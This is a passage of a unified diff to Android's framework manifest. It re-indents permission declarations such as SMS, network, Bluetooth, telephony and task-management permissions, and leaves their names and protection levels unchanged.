+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_SMS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.MANAGE_ACCOUNTS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.USE_CREDENTIALS"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.FLASHLIGHT"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- ====================================================================== -->
<!-- INSTALL PERMISSIONS -->
@@ -1119,37 +1119,37 @@
to handle the respond-via-message action during incoming calls.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SEND_RESPOND_VIA_MESSAGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to send SMS to premium shortcodes without user permission.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.SEND_SMS_NO_CONFIRMATION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to filter carrier specific sms.
@hide -->
<permission android:name="android.permission.CARRIER_FILTER_SMS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to receive emergency cell broadcast messages,
to record or display them to the user.
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.RECEIVE_EMERGENCY_BROADCAST"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to monitor incoming Bluetooth MAP messages, to record
or perform processing on them. -->
<!-- @hide -->
<permission android:name="android.permission.RECEIVE_BLUETOOTH_MAP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to execute contacts directory search.
This should only be used by ContactsProvider.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.BIND_DIRECTORY_SEARCH"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to modify cell broadcasts through the content provider.
<p>Not for use by third-party applications. -->
@@ -1165,9 +1165,9 @@
<p>Protection level: normal
-->
<permission android:name="com.android.alarm.permission.SET_ALARM"
- android:label="@string/permlab_setAlarm"
- android:description="@string/permdesc_setAlarm"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_setAlarm"
+ android:description="@string/permdesc_setAlarm"
+ android:protectionLevel="normal" />
<!-- =============================================================== -->
<!-- Permissions for accessing the user voicemail -->
@@ -1178,13 +1178,13 @@
<p>Protection level: signature|privileged
-->
<permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to read voicemails in the system.
<p>Protection level: signature|privileged
-->
<permission android:name="com.android.voicemail.permission.READ_VOICEMAIL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ======================================= -->
<!-- Permissions for accessing location info -->
@@ -1195,26 +1195,26 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
- android:label="@string/permlab_accessLocationExtraCommands"
- android:description="@string/permdesc_accessLocationExtraCommands"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_accessLocationExtraCommands"
+ android:description="@string/permdesc_accessLocationExtraCommands"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an application to install a location provider into the Location Manager.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
This should only be used by HDMI-CEC service.
-->
<permission android:name="android.permission.HDMI_CEC"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to use location features in hardware,
such as the geofencing api.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.LOCATION_HARDWARE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<uses-permission android:name="android.permission.LOCATION_HARDWARE"/>
<!-- @SystemApi Allows an application to create mock location providers for testing.
@@ -1222,7 +1222,7 @@
@hide
-->
<permission android:name="android.permission.ACCESS_MOCK_LOCATION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- ======================================= -->
<!-- Permissions for accessing networks -->
@@ -1233,86 +1233,86 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.INTERNET"
- android:description="@string/permdesc_createNetworkSockets"
- android:label="@string/permlab_createNetworkSockets"
- android:protectionLevel="normal|ephemeral" />
+ android:description="@string/permdesc_createNetworkSockets"
+ android:label="@string/permlab_createNetworkSockets"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows applications to access information about networks.
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_NETWORK_STATE"
- android:description="@string/permdesc_accessNetworkState"
- android:label="@string/permlab_accessNetworkState"
- android:protectionLevel="normal|ephemeral" />
+ android:description="@string/permdesc_accessNetworkState"
+ android:label="@string/permlab_accessNetworkState"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows applications to access information about Wi-Fi networks.
<p>Protection level: normal
-->
<permission android:name="android.permission.ACCESS_WIFI_STATE"
- android:description="@string/permdesc_accessWifiState"
- android:label="@string/permlab_accessWifiState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_accessWifiState"
+ android:label="@string/permlab_accessWifiState"
+ android:protectionLevel="normal" />
<!-- Allows applications to change Wi-Fi connectivity state.
<p>Protection level: normal
-->
<permission android:name="android.permission.CHANGE_WIFI_STATE"
- android:description="@string/permdesc_changeWifiState"
- android:label="@string/permlab_changeWifiState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeWifiState"
+ android:label="@string/permlab_changeWifiState"
+ android:protectionLevel="normal" />
<!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_WIFI_CREDENTIAL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows applications to change tether state and run
tether carrier provisioning.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.TETHER_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allow system apps to receive broadcast
when a wifi network credential is changed.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.RECEIVE_WIFI_CREDENTIAL_CHANGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to modify any wifi configuration, even if created
by another application. Once reconfigured the original creator cannot make any further
modifications.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide -->
<permission android:name="android.permission.ACCESS_WIMAX_STATE"
- android:description="@string/permdesc_accessWimaxState"
- android:label="@string/permlab_accessWimaxState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_accessWimaxState"
+ android:label="@string/permlab_accessWimaxState"
+ android:protectionLevel="normal" />
<!-- @hide -->
<permission android:name="android.permission.CHANGE_WIMAX_STATE"
- android:description="@string/permdesc_changeWimaxState"
- android:label="@string/permlab_changeWimaxState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeWimaxState"
+ android:label="@string/permlab_changeWimaxState"
+ android:protectionLevel="normal" />
<!-- Allows applications to act as network scorers. @hide @SystemApi-->
<permission android:name="android.permission.SCORE_NETWORKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to request network
recommendations and scores from the NetworkScoreService.
<p>Not for use by third-party applications. @hide -->
<permission android:name="android.permission.REQUEST_NETWORK_SCORES"
- android:protectionLevel="signature|setup" />
+ android:protectionLevel="signature|setup" />
<!-- Allows network stack services (Connectivity and Wifi) to coordinate
<p>Not for use by third-party or privileged applications.
@hide This should only be used by Connectivity and Wifi Services.
-->
<permission android:name="android.permission.NETWORK_STACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows Settings and SystemUI to call methods in Networking services
<p>Not for use by third-party or privileged applications.
@@ -1330,73 +1330,73 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.BLUETOOTH"
- android:description="@string/permdesc_bluetooth"
- android:label="@string/permlab_bluetooth"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_bluetooth"
+ android:label="@string/permlab_bluetooth"
+ android:protectionLevel="normal" />
<!-- Allows applications to discover and pair bluetooth devices.
<p>Protection level: normal
-->
<permission android:name="android.permission.BLUETOOTH_ADMIN"
- android:description="@string/permdesc_bluetoothAdmin"
- android:label="@string/permlab_bluetoothAdmin"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_bluetoothAdmin"
+ android:label="@string/permlab_bluetoothAdmin"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows applications to pair bluetooth devices without user interaction, and to
allow or disallow phonebook access or message access.
This is not available to third party applications. -->
<permission android:name="android.permission.BLUETOOTH_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Control access to email providers exclusively for Bluetooth
@hide
-->
<permission android:name="android.permission.BLUETOOTH_MAP"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows bluetooth stack to access files
@hide This should only be used by Bluetooth apk.
-->
<permission android:name="android.permission.BLUETOOTH_STACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows applications to perform I/O operations over NFC.
<p>Protection level: normal
-->
<permission android:name="android.permission.NFC"
- android:description="@string/permdesc_nfc"
- android:label="@string/permlab_nfc"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_nfc"
+ android:label="@string/permlab_nfc"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows an internal user to use privileged ConnectivityManager APIs.
@hide -->
<permission android:name="android.permission.CONNECTIVITY_INTERNAL"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an internal user to use restricted Networks.
@hide -->
<permission android:name="android.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows a system application to access hardware packet offload capabilities.
@hide -->
<permission android:name="android.permission.PACKET_KEEPALIVE_OFFLOAD"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi
@hide -->
<permission android:name="android.permission.RECEIVE_DATA_ACTIVITY_CHANGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows access to the loop radio (Android@Home mesh network) device.
@hide -->
<permission android:name="android.permission.LOOP_RADIO"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows sending and receiving handover transfer status from Wifi and Bluetooth
@hide -->
<permission android:name="android.permission.NFC_HANDOVER_STATUS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ================================== -->
<!-- Permissions for accessing accounts -->
@@ -1415,16 +1415,16 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.GET_ACCOUNTS"
- android:permissionGroup="android.permission-group.CONTACTS"
- android:protectionLevel="dangerous"
- android:description="@string/permdesc_getAccounts"
- android:label="@string/permlab_getAccounts" />
+ android:permissionGroup="android.permission-group.CONTACTS"
+ android:protectionLevel="dangerous"
+ android:description="@string/permdesc_getAccounts"
+ android:label="@string/permlab_getAccounts" />
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<!-- @SystemApi Allows applications to call into AccountAuthenticators.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.ACCOUNT_MANAGER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- ================================== -->
<!-- Permissions for accessing hardware that may effect battery life-->
@@ -1435,34 +1435,34 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"
- android:description="@string/permdesc_changeWifiMulticastState"
- android:label="@string/permlab_changeWifiMulticastState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeWifiMulticastState"
+ android:label="@string/permlab_changeWifiMulticastState"
+ android:protectionLevel="normal" />
<!-- Allows access to the vibrator.
<p>Protection level: normal
-->
<permission android:name="android.permission.VIBRATE"
- android:label="@string/permlab_vibrate"
- android:description="@string/permdesc_vibrate"
- android:protectionLevel="normal|ephemeral" />
+ android:label="@string/permlab_vibrate"
+ android:description="@string/permdesc_vibrate"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
from dimming.
<p>Protection level: normal
-->
<permission android:name="android.permission.WAKE_LOCK"
- android:label="@string/permlab_wakeLock"
- android:description="@string/permdesc_wakeLock"
- android:protectionLevel="normal|ephemeral" />
+ android:label="@string/permlab_wakeLock"
+ android:description="@string/permdesc_wakeLock"
+ android:protectionLevel="normal|ephemeral" />
<!-- Allows using the device's IR transmitter, if available.
<p>Protection level: normal
-->
<permission android:name="android.permission.TRANSMIT_IR"
- android:label="@string/permlab_transmitIr"
- android:description="@string/permdesc_transmitIr"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_transmitIr"
+ android:description="@string/permdesc_transmitIr"
+ android:protectionLevel="normal" />
<!-- ==================================================== -->
<!-- Permissions related to changing audio settings -->
@@ -1473,9 +1473,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"
- android:label="@string/permlab_modifyAudioSettings"
- android:description="@string/permdesc_modifyAudioSettings"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_modifyAudioSettings"
+ android:description="@string/permdesc_modifyAudioSettings"
+ android:protectionLevel="normal" />
<!-- ================================== -->
<!-- Permissions for accessing hardware -->
@@ -1485,83 +1485,83 @@
<!-- @SystemApi Allows an application to manage preferences and permissions for USB devices
@hide -->
<permission android:name="android.permission.MANAGE_USB"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to access the MTP USB kernel driver.
For use only by the device side MTP implementation.
@hide -->
<permission android:name="android.permission.ACCESS_MTP"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows access to hardware peripherals. Intended only for hardware testing.
<p>Not for use by third-party applications.
@hide
-->
<permission android:name="android.permission.HARDWARE_TEST"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows access to FM
@hide This is not a third-party API (intended for system apps).-->
<permission android:name="android.permission.ACCESS_FM_RADIO"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows access to configure network interfaces, configure/use IPSec, etc.
@hide -->
<permission android:name="android.permission.NET_ADMIN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows registration for remote audio playback. @hide -->
<permission android:name="android.permission.REMOTE_AUDIO_PLAYBACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows TvInputService to access underlying TV input hardware such as
built-in tuners and HDMI-in's.
@hide This should only be used by OEM's TvInputService's.
-->
<permission android:name="android.permission.TV_INPUT_HARDWARE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows to capture a frame of TV input hardware such as
built-in tuners and HDMI-in's.
@hide <p>Not for use by third-party applications.
-->
<permission android:name="android.permission.CAPTURE_TV_INPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide Allows TvInputService to access DVB device.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DVB_DEVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by carrier state
@hide <p>Not for use by third-party applications. -->
<permission android:name="android.permission.MANAGE_CARRIER_OEM_UNLOCK_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows reading and enabling/disabling the OEM unlock allowed by user state
@hide <p>Not for use by third-party applications. -->
<permission android:name="android.permission.MANAGE_USER_OEM_UNLOCK_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows reading the OEM unlock state
@hide <p>Not for use by third-party applications. -->
<permission android:name="android.permission.READ_OEM_UNLOCK_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide Allows enabling/disabling OEM unlock
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.OEM_UNLOCK_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows querying state of PersistentDataBlock
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.ACCESS_PDB_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows system update service to notify device owner about pending updates.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.NOTIFY_PENDING_SYSTEM_UPDATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- =========================================== -->
<!-- Permissions associated with camera and image capture -->
@@ -1572,12 +1572,12 @@
a camera is in use by an application.
@hide -->
<permission android:name="android.permission.CAMERA_DISABLE_TRANSMIT_LED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows sending the camera service notifications about system-wide events.
@hide -->
<permission android:name="android.permission.CAMERA_SEND_SYSTEM_EVENTS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- =========================================== -->
<!-- Permissions associated with telephony state -->
@@ -1588,58 +1588,58 @@
Does not include placing calls.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MODIFY_PHONE_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows read only access to precise phone state.
@hide Pending API council approval -->
<permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows read access to privileged phone state.
@hide Used internally. -->
<permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Protects the ability to register any PhoneAccount with
PhoneAccount#CAPABILITY_SIM_SUBSCRIPTION. This capability indicates that the PhoneAccount
corresponds to a device SIM.
@hide -->
<permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Protects the ability to register any PhoneAccount with
PhoneAccount#CAPABILITY_CALL_PROVIDER.
@hide -->
<permission android:name="android.permission.REGISTER_CALL_PROVIDER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Protects the ability to register any PhoneAccount with
PhoneAccount#CAPABILITY_CONNECTION_MANAGER
@hide -->
<permission android:name="android.permission.REGISTER_CONNECTION_MANAGER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.InCallService},
to ensure that only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_INCALL_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a link {@link android.telephony.VisualVoicemailService} to ensure that
only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission
- android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
- android:protectionLevel="signature|privileged"/>
+ android:name="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+ android:protectionLevel="signature|privileged"/>
<!-- Must be required by a {@link android.telecom.CallScreeningService},
to ensure that only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_SCREENING_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.ConnectionService},
to ensure that only the system can bind to it.
@@ -1648,24 +1648,24 @@
@SystemApi
@hide -->
<permission android:name="android.permission.BIND_CONNECTION_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.ConnectionService},
to ensure that only the system can bind to it.
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to control the in-call experience.
@hide -->
<permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to receive STK related commands.
@hide -->
<permission android:name="android.permission.RECEIVE_STK_COMMANDS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by an ImsService to ensure that only the
system can bind to it.
@@ -1674,7 +1674,7 @@
@hide
-->
<permission android:name="android.permission.BIND_IMS_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ================================== -->
@@ -1685,7 +1685,7 @@
<!-- @SystemApi Allows an application to write to internal media storage
@hide -->
<permission android:name="android.permission.WRITE_MEDIA_STORAGE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to manage access to documents, usually as part
of a document picker.
@@ -1695,21 +1695,21 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.MANAGE_DOCUMENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to cache content.
<p>Not for use by third-party applications.
<p>Protection level: signature
-->
<permission android:name="android.permission.CACHE_CONTENT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide
Allows an application to aggressively allocate disk space.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.ALLOCATE_AGGRESSIVE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ================================== -->
<!-- Permissions for screenlock -->
@@ -1720,9 +1720,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.DISABLE_KEYGUARD"
- android:description="@string/permdesc_disableKeyguard"
- android:label="@string/permlab_disableKeyguard"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_disableKeyguard"
+ android:label="@string/permlab_disableKeyguard"
+ android:protectionLevel="normal" />
<!-- ================================== -->
<!-- Permissions to access other installed applications -->
@@ -1731,9 +1731,9 @@
<!-- @deprecated No longer enforced. -->
<permission android:name="android.permission.GET_TASKS"
- android:label="@string/permlab_getTasks"
- android:description="@string/permdesc_getTasks"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_getTasks"
+ android:description="@string/permdesc_getTasks"
+ android:protectionLevel="normal" />
<!-- New version of GET_TASKS that apps can request, since GET_TASKS doesn't really
give access to task information. We need this new one because there are
@@ -1746,32 +1746,32 @@
@hide
@SystemApi -->
<permission android:name="android.permission.REAL_GET_TASKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
@hide -->
<permission android:name="android.permission.START_TASKS_FROM_RECENTS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
across the users on the device, using singleton services and
user-targeted broadcasts. This permission is not available to
third party applications. -->
<permission android:name="android.permission.INTERACT_ACROSS_USERS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Fuller form of {@link android.Manifest.permission#INTERACT_ACROSS_USERS}
that removes restrictions on where broadcasts can be sent and allows other
types of interactions
@hide -->
<permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer" />
<!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
users on the device. This permission is not available to
third party applications. -->
<permission android:name="android.permission.MANAGE_USERS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide Allows an application to create, remove users and get the list of
users on the device. Applications holding this permission can only create restricted,
@@ -1779,69 +1779,69 @@
{@link android.Manifest.permission#MANAGE_USERS} is needed.
This permission is not available to third party applications. -->
<permission android:name="android.permission.CREATE_USERS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to set the profile owners and the device owner.
This permission is not available to third party applications.-->
<permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
- android:protectionLevel="signature"
- android:label="@string/permlab_manageProfileAndDeviceOwners"
- android:description="@string/permdesc_manageProfileAndDeviceOwners" />
+ android:protectionLevel="signature"
+ android:label="@string/permlab_manageProfileAndDeviceOwners"
+ android:description="@string/permdesc_manageProfileAndDeviceOwners" />
<!-- Allows an application to get full detailed information about
recently running tasks, with full fidelity to the real state.
@hide -->
<permission android:name="android.permission.GET_DETAILED_TASKS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to change the Z-order of tasks.
<p>Protection level: normal
-->
<permission android:name="android.permission.REORDER_TASKS"
- android:label="@string/permlab_reorderTasks"
- android:description="@string/permdesc_reorderTasks"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_reorderTasks"
+ android:description="@string/permdesc_reorderTasks"
+ android:protectionLevel="normal" />
<!-- @hide Allows an application to change to remove/kill tasks -->
<permission android:name="android.permission.REMOVE_TASKS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to start any activity, regardless of permission
protection or exported state.
@hide -->
<permission android:name="android.permission.START_ANY_ACTIVITY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
API is no longer supported. -->
<permission android:name="android.permission.RESTART_PACKAGES"
- android:label="@string/permlab_killBackgroundProcesses"
- android:description="@string/permdesc_killBackgroundProcesses"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_killBackgroundProcesses"
+ android:description="@string/permdesc_killBackgroundProcesses"
+ android:protectionLevel="normal" />
<!-- Allows an application to call
{@link android.app.ActivityManager#killBackgroundProcesses}.
<p>Protection level: normal
-->
<permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"
- android:label="@string/permlab_killBackgroundProcesses"
- android:description="@string/permdesc_killBackgroundProcesses"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_killBackgroundProcesses"
+ android:description="@string/permdesc_killBackgroundProcesses"
+ android:protectionLevel="normal" />
<!-- @SystemApi @hide Allows an application to query process states and current
OOM adjustment scores.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.GET_PROCESS_STATE_AND_OOM_SCORE"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- Allows use of PendingIntent.getIntent().
@hide -->
<permission android:name="android.permission.GET_INTENT_SENDER_INTENT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- ================================== -->
<!-- Permissions affecting the display of other applications -->
@@ -1864,26 +1864,26 @@
Settings.canDrawOverlays()}.
<p>Protection level: signature -->
<permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
- android:label="@string/permlab_systemAlertWindow"
- android:description="@string/permdesc_systemAlertWindow"
- android:protectionLevel="signature|preinstalled|appop|pre23|development" />
